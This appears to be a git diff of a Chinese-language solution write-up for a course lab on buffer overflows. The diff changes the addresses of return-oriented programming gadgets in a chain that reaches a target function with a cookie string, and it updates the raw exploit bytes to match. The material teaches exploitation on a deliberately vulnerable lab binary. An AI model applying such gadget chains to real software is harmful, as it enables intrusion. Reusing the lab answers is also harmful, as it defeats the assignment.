diff --git a/solution.md b/solution.md index e7862f6..a20f955 100644 --- a/solution.md +++ b/solution.md @@ -624,9 +624,9 @@ movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c popq %rax > 58 > getval_373 > 0x0000555555401c74 movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5 movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac -movl %ecx,%esi > 89 ce > setval_118 > 0x0000555555401cc2 +movl %ecx,%esi > 89 ce > setval_422 > 0x0000555555401cd5 lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e -movq %rax,%rdi > 48 89 c7 > setval_253 > 0x0000555555401c6b +movq %rax,%rdi > 48 89 c7 > getval_424 > 0x0000555555401c85 ``` **2)构建攻击字符串** @@ -640,9 +640,9 @@ movq %rax,%rdi > 48 89 c7 > setval_253 > 0x0000555555401c6b 0x48 # bias = 9*8-->0x48 0x0000555555401ca5 # movl %eax,%edx 0x0000555555401cac # movl %edx,%ecx -0x0000555555401cc2 # movl %ecx,%esi +0x0000555555401cd5 # movl %ecx,%esi 0x0000555555401c9e # lea (%rdi,%rsi,1),%rax -0x0000555555401c6b # movq %rax,%rdi +0x0000555555401c85 # movq %rax,%rdi 0x0000555555401bc0 # touch3 0x3365386465653866 # hex cookie string ``` @@ -659,9 +659,9 @@ b3 1c 40 55 55 55 00 00 48 00 00 00 00 00 00 00 a5 1c 40 55 55 55 00 00 ac 1c 40 55 55 55 00 00 -c2 1c 40 55 55 55 00 00 +d5 1c 40 55 55 55 00 00 9e 1c 40 55 55 55 00 00 -6b 1c 40 55 55 55 00 00 +85 1c 40 55 55 55 00 00 c0 1b 40 55 55 55 00 00 33 65 38 64 65 65 38 66 ```